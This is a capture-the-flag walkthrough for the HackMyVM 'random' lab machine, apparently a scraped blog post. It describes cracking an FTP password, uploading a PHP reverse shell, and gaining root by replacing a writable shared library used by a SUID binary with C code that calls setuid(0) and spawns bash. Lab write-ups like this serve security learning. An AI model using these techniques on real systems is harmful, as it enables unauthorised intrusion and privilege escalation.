当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor
and alan
.
crack ftp service, get the user eleanor
's password.
use sftp login as eleanor
, get into the path /html
and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random
.random
used Dynamic link library /lib/librooter.so
which we can replace.
Disassemble random
with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot
as long as you try a few more times. We recompile the librooter.so
with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
try a few more times, then get root.
边栏推荐
猜你喜欢
随机推荐
2.PHP变量、输出、EOF、条件语句
js scope and closure
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
批量替换文件字体,简体-&gt;繁体
PHP 给图片添加全图水印
Small program van-cell line wrapping can be left-aligned
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
JS对象, 函数和作用域
面试总结 22/7/25 面试中的重点
数组的高级操作
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
第一次手撕代码,如何解出全排列问题
meime module
(8) requests、os、sys、re、_thread
uniapp | 使用npm update更新后编译报错问题
TypeScript error error TS2469, error TS2731 solution
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
[phpunit/php-timer]一个用于代码执行时间的计时器